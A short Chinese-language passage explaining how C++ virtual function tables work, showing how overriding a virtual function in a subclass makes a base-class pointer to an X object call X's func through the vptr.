难点就在于虚函数表的内容是依据类中的虚函数声明次序,一一填入函数指针,子类会继承父类的虚函数表,当我们在改写子类时,虚函数表就受了影响:表中元素指的函数地址不再是父类的函数地址,而是子类的函数地址。所以当我们创建一个X对像的时候,编译器能知道执行的是X的func
我们再来看:base* p=new X
前面我们讲了这里是按照向上类型转换的原则把X转换成了base,而此时baser的VPTR指针会指向X的虚函数表,所以,p->func()会执行X的func函数.